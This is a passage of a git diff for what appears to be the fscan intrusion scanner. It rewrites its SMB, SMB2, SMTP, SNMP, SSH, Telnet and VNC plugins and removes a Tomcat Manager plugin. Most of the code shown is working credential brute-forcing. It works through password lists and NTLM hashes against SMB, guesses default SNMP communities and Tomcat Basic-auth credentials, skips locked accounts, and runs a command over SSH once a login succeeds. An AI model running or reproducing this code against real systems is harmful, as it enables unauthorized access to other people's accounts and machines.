a/Plugins/SMB.go b/Plugins/SMB.go index 2323d45..54fcba5 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -5,7 +5,6 @@ import ( "github.com/shadow1ng/fscan/Common" "github.com/stacktitan/smb/smb" "strings" - "sync" "time" ) @@ -14,83 +13,39 @@ func SmbScan(info *Common.HostInfo) (tmperr error) { return nil } - threads := Common.BruteThreads - var wg sync.WaitGroup - successChan := make(chan struct{}, 1) - - // 按用户分组处理 + // 遍历所有用户 for _, user := range Common.Userdict["smb"] { - taskChan := make(chan string, len(Common.Passwords)) - + // 遍历该用户的所有密码 for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- pass - } - close(taskChan) - for i := 0; i < threads; i++ { - wg.Add(1) - go func(username string) { - defer wg.Done() - for pass := range taskChan { - select { - case <-successChan: - return - default: - } - - success, err := doWithTimeOut(info, username, pass) - if success { - if Common.Domain != "" { - Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s\\%s:%s", - info.Host, info.Ports, Common.Domain, username, pass)) - } else { - Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s:%s", - info.Host, info.Ports, username, pass)) - } - successChan <- struct{}{} - - // 成功后等待确保日志打印完成 - time.Sleep(500 * time.Millisecond) - return - } - - if err != nil { - Common.LogError(fmt.Sprintf("SMB认证失败 %s:%s %s:%s %v", - info.Host, info.Ports, username, pass, err)) - - // 等待失败日志打印完成 - time.Sleep(100 * time.Millisecond) - - if strings.Contains(err.Error(), "账号锁定") { - for range taskChan { - // 清空通道 - } - time.Sleep(200 * time.Millisecond) // 确保锁定日志打印完成 - return - } - } + success, err := doWithTimeOut(info, user, pass) + if success { + if Common.Domain != "" { + Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s\\%s:%s", + info.Host, info.Ports, Common.Domain, user, pass)) + } else { + Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s:%s", + info.Host, info.Ports, user, pass)) } - }(user) - } + return nil + } - wg.Wait() + if err != nil { + Common.LogError(fmt.Sprintf("SMB认证失败 %s:%s %s:%s %v", + info.Host, info.Ports, user, pass, err)) - select { - case <-successChan: - // 等待日志打印完成 - time.Sleep(500 * time.Millisecond) - Common.LogWG.Wait() - return nil - default: + // 等待失败日志打印完成 + time.Sleep(100 * time.Millisecond) + + if strings.Contains(err.Error(), "账号锁定") { + // 账号锁定时跳过当前用户的剩余密码 + break // 跳出密码循环,继续下一个用户 + } + } } } - // 主函数结束前多等待一会 - time.Sleep(500 * time.Millisecond) - Common.LogWG.Wait() - // 最后再等待一下,确保所有日志都打印完成 - time.Sleep(500 * time.Millisecond) return nil } diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index 2fccf2f..3cd6189 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -6,7 +6,6 @@ import ( "net" "os" "strings" - "sync" "time" "github.com/hirochachacha/go-smb2" @@ -27,110 +26,59 @@ func SmbScan2(info *Common.HostInfo) (tmperr error) { return smbPasswordScan(info) } -// smbPasswordScan 使用密码进行认证扫描 func smbPasswordScan(info *Common.HostInfo) error { if Common.DisableBrute { return nil } - threads := Common.BruteThreads - - var wg sync.WaitGroup - successChan := make(chan struct{}, 1) hasprint := false - var hasPrintMutex sync.Mutex - // 改成按用户分组处理 + // 遍历每个用户 for _, user := range Common.Userdict["smb"] { - // 为每个用户创建密码任务通道 - taskChan := make(chan string, len(Common.Passwords)) - - // 生成该用户的所有密码任务 + // 遍历该用户的所有密码 for _, pass := range Common.Passwords { pass = strings.ReplaceAll(pass, "{user}", user) - taskChan <- pass - } - close(taskChan) - // 启动工作线程 - for i := 0; i < threads; i++ { - wg.Add(1) - go func(username string) { - defer wg.Done() + // 重试循环 + for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ { + success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint) - for pass := range taskChan { - select { - case <-successChan: - return - default: - time.Sleep(100 * time.Millisecond) - } + if printed { + hasprint = true + } - // 重试循环 - for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ { - hasPrintMutex.Lock() - currentHasPrint := hasprint - hasPrintMutex.Unlock() + if success { + logSuccessfulAuth(info, user, pass, []byte{}) + return nil + } - success, err, printed := Smb2Con(info, username, pass, []byte{}, currentHasPrint) + if err != nil { + logFailedAuth(info, user, pass, []byte{}, err) - if printed { - hasPrintMutex.Lock() - hasprint = true - hasPrintMutex.Unlock() - time.Sleep(100 * time.Millisecond) - } - - if success { - logSuccessfulAuth(info, username, pass, []byte{}) - time.Sleep(100 * time.Millisecond) - successChan <- struct{}{} - return - } - - if err != nil { - logFailedAuth(info, username, pass, []byte{}, err) - time.Sleep(100 * time.Millisecond) - - // 检查是否账户锁定 - if strings.Contains(err.Error(), "user account has been automatically locked") { - // 发现账户锁定,清空任务通道并返回 - for range taskChan { - // 清空通道 - } - return - } - - // 其他登录失败情况 - if strings.Contains(err.Error(), "LOGIN_FAILED") || - strings.Contains(err.Error(), "Authentication failed") || - strings.Contains(err.Error(), "attempted logon is invalid") || - strings.Contains(err.Error(), "bad username or authentication") { - break - } - - if retryCount < Common.MaxRetries-1 { - time.Sleep(time.Second * time.Duration(retryCount+2)) - continue - } - } + // 检查是否账户锁定 + if strings.Contains(err.Error(), "user account has been automatically locked") { + // 账户锁定,跳过该用户的剩余密码 break } + + // 其他登录失败情况 + if strings.Contains(err.Error(), "LOGIN_FAILED") || + strings.Contains(err.Error(), "Authentication failed") || + strings.Contains(err.Error(), "attempted logon is invalid") || + strings.Contains(err.Error(), "bad username or authentication") { + break + } + + if retryCount < Common.MaxRetries-1 { + time.Sleep(time.Second * time.Duration(retryCount+2)) + continue + } } - }(user) - } - - wg.Wait() // 等待当前用户的所有密码尝试完成 - - // 检查是否已经找到正确密码 - select { - case <-successChan: - return nil - default: + break + } } } - time.Sleep(200 * time.Millisecond) return nil } @@ -139,94 +87,49 @@ func smbHashScan(info *Common.HostInfo) error { return nil } - threads := Common.BruteThreads - var wg sync.WaitGroup - successChan := make(chan struct{}, 1) hasprint := false - var hasPrintMutex sync.Mutex - // 按用户分组处理 + // 遍历每个用户 for _, user := range Common.Userdict["smb"] { - // 为每个用户创建hash任务通道 - taskChan := make(chan []byte, len(Common.HashBytes)) - - // 生成该用户的所有hash任务 + // 遍历该用户的所有hash for _, hash := range Common.HashBytes { - taskChan <- hash - } - close(taskChan) + // 重试循环 + for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ { + success, err, printed := Smb2Con(info, user, "", hash, hasprint) - // 启动工作线程 - for i := 0; i < threads; i++ { - wg.Add(1) - go func(username string) { - defer wg.Done() + if printed { + hasprint = true + } - for hash := range taskChan { - select { - case <-successChan: - return - default: - } + if success { + logSuccessfulAuth(info, user, "", hash) + return nil + } - // 重试循环 - for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ { - hasPrintMutex.Lock() - currentHasPrint := hasprint - hasPrintMutex.Unlock() + if err != nil { + logFailedAuth(info, user, "", hash, err) - success, err, printed := Smb2Con(info, username, "", hash, currentHasPrint) - - if printed { - hasPrintMutex.Lock() - hasprint = true - hasPrintMutex.Unlock() - } - - if success { - logSuccessfulAuth(info, username, "", hash) - successChan <- struct{}{} - return - } - - if err != nil { - logFailedAuth(info, username, "", hash, err) - - // 检查是否账户锁定 - if strings.Contains(err.Error(), "user account has been automatically locked") { - // 发现账户锁定,清空任务通道并返回 - for range taskChan { - // 清空通道 - } - return - } - - // 其他登录失败情况 - if strings.Contains(err.Error(), "LOGIN_FAILED") || - strings.Contains(err.Error(), "Authentication failed") || - strings.Contains(err.Error(), "attempted logon is invalid") || - strings.Contains(err.Error(), "bad username or authentication") { - break - } - - if retryCount < Common.MaxRetries-1 { - time.Sleep(time.Second * time.Duration(retryCount+1)) - continue - } - } + // 检查是否账户锁定 + if strings.Contains(err.Error(), "user account has been automatically locked") { + // 账户锁定,跳过该用户的剩余hash break } + + // 其他登录失败情况 + if strings.Contains(err.Error(), "LOGIN_FAILED") || + strings.Contains(err.Error(), "Authentication failed") || + strings.Contains(err.Error(), "attempted logon is invalid") || + strings.Contains(err.Error(), "bad username or authentication") { + break + } + + if retryCount < Common.MaxRetries-1 { + time.Sleep(time.Second * time.Duration(retryCount+1)) + continue + } } - }(user) - } - - wg.Wait() // 等待当前用户的所有hash尝试完成 - - // 检查是否已经找到正确凭据 - select { - case <-successChan: - return nil - default: + break + } } } diff --git a/Plugins/SMTP.go b/Plugins/SMTP.go index 9b332ac..1bcf565 100644 --- a/Plugins/SMTP.go +++ b/Plugins/SMTP.go @@ -6,7 +6,6 @@ import ( "net" "net/smtp" "strings" - "sync" "time" ) @@ -17,7 +16,6 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads // 先测试匿名访问 for retryCount := 0; retryCount < maxRetries; retryCount++ { @@ -36,105 +34,62 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) { break } - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["smtp"])*len(Common.Passwords)) + starttime := time.Now().Unix() - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["smtp"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行SMTP连接 + done := make(chan struct { + success bool + err error + }) - // 执行SMTP连接 - done := make(chan struct { + go func(user, pass string) { + flag, err := SmtpConn(info, user, pass) + done <- struct { success bool err error - }) + }{flag, err} + }(user, pass) - go func(user, pass string) { - flag, err := SmtpConn(info, user, pass) - done <- struct { - success bool - err error - }{flag, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/SNMP.go b/Plugins/SNMP.go index 4d46adb..de4b1c4 100644 --- a/Plugins/SNMP.go +++ b/Plugins/SNMP.go @@ -6,7 +6,6 @@ import ( "github.com/shadow1ng/fscan/Common" "strconv" "strings" - "sync" "time" ) @@ -17,106 +16,66 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads - portNum, _ := strconv.Atoi(info.Ports) defaultCommunities := []string{"public", "private", "cisco", "community"} + starttime := time.Now().Unix() + timeout := time.Duration(Common.Timeout) * time.Second - // 创建任务通道 - taskChan := make(chan string, len(defaultCommunities)) - resultChan := make(chan error, threads) - - // 生成所有community任务 + // 遍历所有 community for _, community := range defaultCommunities { - taskChan <- community - } - close(taskChan) + // 检查是否超时 + if time.Now().Unix()-starttime > int64(timeout.Seconds()) { + return fmt.Errorf("扫描超时") + } - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行SNMP连接 + done := make(chan struct { + success bool + err error + }) - for community := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - timeout := time.Duration(Common.Timeout) * time.Second - if time.Now().Unix()-starttime > int64(timeout.Seconds()) { - resultChan <- fmt.Errorf("扫描超时") - return + go func(community string) { + success, err := SNMPConnect(info, community, portNum) + done <- struct { + success bool + err error + }{success, err} + }(community) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + // 连接成功 + successLog := fmt.Sprintf("SNMP服务 %v:%v community: %v 连接成功", + info.Host, info.Ports, community) + Common.LogSuccess(successLog) + return nil + } + case <-time.After(timeout): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("SNMP服务 %v:%v 尝试失败 community: %v 错误: %v", + info.Host, info.Ports, community, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err } - - // 执行SNMP连接 - done := make(chan struct { - success bool - err error - }) - - go func(community string) { - success, err := SNMPConnect(info, community, portNum) - done <- struct { - success bool - err error - }{success, err} - }(community) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - // 连接成功 - successLog := fmt.Sprintf("SNMP服务 %v:%v community: %v 连接成功", - info.Host, info.Ports, community) - Common.LogSuccess(successLog) - resultChan <- nil - return - } - case <-time.After(timeout): - err = fmt.Errorf("连接超时") - } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("SNMP服务 %v:%v 尝试失败 community: %v 错误: %v", - info.Host, info.Ports, community, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + continue // 继续重试 } } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err - } + break // 如果不需要重试,跳出重试循环 } } diff --git a/Plugins/SSH.go b/Plugins/SSH.go index ecf0df9..04082a3 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -1,13 +1,13 @@ package Plugins import ( + "context" "fmt" "github.com/shadow1ng/fscan/Common" "golang.org/x/crypto/ssh" "io/ioutil" "net" "strings" - "sync" "time" ) @@ -17,97 +17,67 @@ func SshScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["ssh"])*len(Common.Passwords)) - resultChan := make(chan error, threads) - - // 生成所有任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["ssh"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - done := make(chan struct { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout)*time.Second) + done := make(chan struct { + success bool + err error + }, 1) + + go func(user, pass string) { + success, err := SshConn(info, user, pass) + select { + case <-ctx.Done(): + case done <- struct { success bool err error - }) - - go func(user, pass string) { - success, err := SshConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - var err error - select { - case result := <-done: - err = result.err - if result.success { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + }{success, err}: } + }(user, pass) - if err != nil { - errlog := fmt.Sprintf("SSH认证失败 %v:%v User:%v Pass:%v Err:%v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否是已知错误,如果是则等待3秒后重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } + var err error + select { + case result := <-done: + err = result.err + if result.success { + successLog := fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, user, pass) + Common.LogSuccess(successLog) + time.Sleep(100 * time.Millisecond) + cancel() + return nil } - - if Common.SshKeyPath != "" { - resultChan <- err - return - } - - break // 如果不需要重试,跳出重试循环 + case <-ctx.Done(): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - go func() { - wg.Wait() - close(resultChan) - }() + cancel() - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + if err != nil { + errlog := fmt.Sprintf("SSH认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + } + + if Common.SshKeyPath != "" { + return err + } + + break } } } @@ -153,29 +123,13 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er } defer session.Close() - flag = true - + // 如果需要执行命令 if Common.Command != "" { - output, err := session.CombinedOutput(Common.Command) + _, err := session.CombinedOutput(Common.Command) if err != nil { return true, err } - if Common.SshKeyPath != "" { - Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v\n命令输出:\n%v", - info.Host, info.Ports, string(output))) - } else { - Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", - info.Host, info.Ports, user, pass, string(output))) - } - } else { - if Common.SshKeyPath != "" { - Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v", - info.Host, info.Ports)) - } else { - Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v", - info.Host, info.Ports, user, pass)) - } } - return flag, nil + return true, nil } diff --git a/Plugins/SmbGhost.go b/Plugins/SmbGhost.go index daa2c5b..3de9509 100644 --- a/Plugins/SmbGhost.go +++ b/Plugins/SmbGhost.go @@ -153,7 +153,7 @@ func SmbGhostScan(info *Common.HostInfo) error { bytes.Equal(buff[74:76], []byte{0x02, 0x00}) { // 发现漏洞,记录结果 - result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip) + result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip) Common.LogSuccess(result) } diff --git a/Plugins/Telnet.go b/Plugins/Telnet.go index 8404729..1d35973 100644 --- a/Plugins/Telnet.go +++ b/Plugins/Telnet.go @@ -8,7 +8,6 @@ import ( "net" "regexp" "strings" - "sync" "time" ) @@ -19,120 +18,74 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads + starttime := time.Now().Unix() - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["telnet"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["telnet"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行Telnet连接 + done := make(chan struct { + success bool + noAuth bool + err error + }) - // 执行Telnet连接 - done := make(chan struct { + go func(user, pass string) { + flag, err := telnetConn(info, user, pass) + done <- struct { success bool noAuth bool err error - }) + }{err == nil, flag, err} + }(user, pass) - go func(user, pass string) { - flag, err := telnetConn(info, user, pass) - done <- struct { - success bool - noAuth bool - err error - }{err == nil, flag, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.noAuth { - // 无需认证 - result := fmt.Sprintf("Telnet服务 %v:%v 无需认证", - info.Host, info.Ports) - Common.LogSuccess(result) - resultChan <- nil - return - } else if result.success { - // 成功爆破 - result := fmt.Sprintf("Telnet服务 %v:%v 用户名:%v 密码:%v", - info.Host, info.Ports, task.user, task.pass) - Common.LogSuccess(result) - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.noAuth { + // 无需认证 + result := fmt.Sprintf("Telnet服务 %v:%v 无需认证", + info.Host, info.Ports) + Common.LogSuccess(result) + return nil + } else if result.success { + // 成功爆破 + result := fmt.Sprintf("Telnet服务 %v:%v 用户名:%v 密码:%v", + info.Host, info.Ports, user, pass) + Common.LogSuccess(result) + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/Tomcat.go b/Plugins/Tomcat.go deleted file mode 100644 index 27275a4..0000000 --- a/Plugins/Tomcat.go +++ /dev/null @@ -1,177 +0,0 @@ -package Plugins - -import ( - "crypto/tls" - "encoding/base64" - "fmt" - "github.com/shadow1ng/fscan/Common" - "net/http" - "strings" - "sync" - "time" -) - -// TomcatScan 执行 Tomcat Manager 服务扫描 -func TomcatScan(info *Common.HostInfo) (tmperr error) { - if Common.DisableBrute { - return - } - - maxRetries := Common.MaxRetries - threads := Common.BruteThreads - - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["tomcat"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 - for _, user := range Common.Userdict["tomcat"] { - for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() - - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } - - // 执行Tomcat连接 - done := make(chan struct { - success bool - err error - }) - - go func(user, pass string) { - success, err := TomcatConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") - } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("[-] Tomcat Manager %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 - } - } - resultChan <- nil - }() - } - - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err - } - } - } - - return tmperr -} - -// TomcatConn 尝试 Tomcat Manager 连接 -func TomcatConn(info *Common.HostInfo, user string, pass string) (bool, error) { - host, port := info.Host, info.Ports - timeout := time.Duration(Common.Timeout) * time.Second - - client := &http.Client{ - Timeout: timeout, - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - }, - } - - // 尝试不同的管理路径 - paths := []string{ - "/manager/html", - "/manager/status", - "/manager/text", - "/host-manager/html", - } - - for _, path := range paths { - baseURL := fmt.Sprintf("http://%s:%s%s", host, port, path) - - req, err := http.NewRequest("GET", baseURL, nil) - if err != nil { - continue - } - - // 添加Basic认证 - auth := base64.StdEncoding.EncodeToString([]byte(user + ":" + pass)) - req.Header.Add("Authorization", "Basic "+auth) - - resp, err := client.Do(req) - if err != nil { - continue - } - defer resp.Body.Close() - - // 检查响应状态 - if resp.StatusCode == 200 { - result := fmt.Sprintf("[+] Tomcat Manager %v:%v %s 爆破成功 用户名: %v 密码: %v", - host, port, path, user, pass) - Common.LogSuccess(result) - return true, nil - } - } - - return false, fmt.Errorf("认证失败") -} diff --git a/Plugins/VNC.go b/Plugins/VNC.go index 70d5101..f947a70 100644 --- a/Plugins/VNC.go +++ b/Plugins/VNC.go @@ -5,7 +5,6 @@ import ( "github.com/mitchellh/go-vnc" "github.com/shadow1ng/fscan/Common" "net" - "sync" "time" ) @@ -16,103 +15,64 @@ func VncScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads modename := "vnc" + starttime := time.Now().Unix() - // 创建任务通道 - taskChan := make(chan string, len(Common.Passwords)) - resultChan := make(chan error, threads) - - // 生成所有密码任务 + // 遍历所有密码 for _, pass := range Common.Passwords { - taskChan <- pass - } - close(taskChan) + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行VNC连接 + done := make(chan struct { + success bool + err error + }) - for pass := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return + go func(pass string) { + success, err := VncConn(info, pass) + done <- struct { + success bool + err error + }{success, err} + }(pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + // 连接成功 + successLog := fmt.Sprintf("%s://%v:%v 密码: %v", + modename, info.Host, info.Ports, pass) + Common.LogSuccess(successLog) + return nil + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("%s://%v:%v 尝试密码: %v 错误: %v", + modename, info.Host, info.Ports, pass, err) + Common.LogError(errlog) + + // 检查是否是需要重试的错误 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err } - - // 执行VNC连接 - done := make(chan struct { - success bool - err error - }) - - go func(pass string) { - success, err := VncConn(info, pass) - done <- struct { - success bool - err error - }{success, err} - }(pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - // 连接成功 - successLog := fmt.Sprintf("%s://%v:%v 密码: %v", - modename, info.Host, info.Ports, pass) - Common.LogSuccess(successLog) - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") - } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("%s://%v:%v 尝试密码: %v 错误: %v", - modename, info.Host, info.Ports, pass, err) - Common.LogError(errlog) - - // 检查是否是需要重试的错误 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break 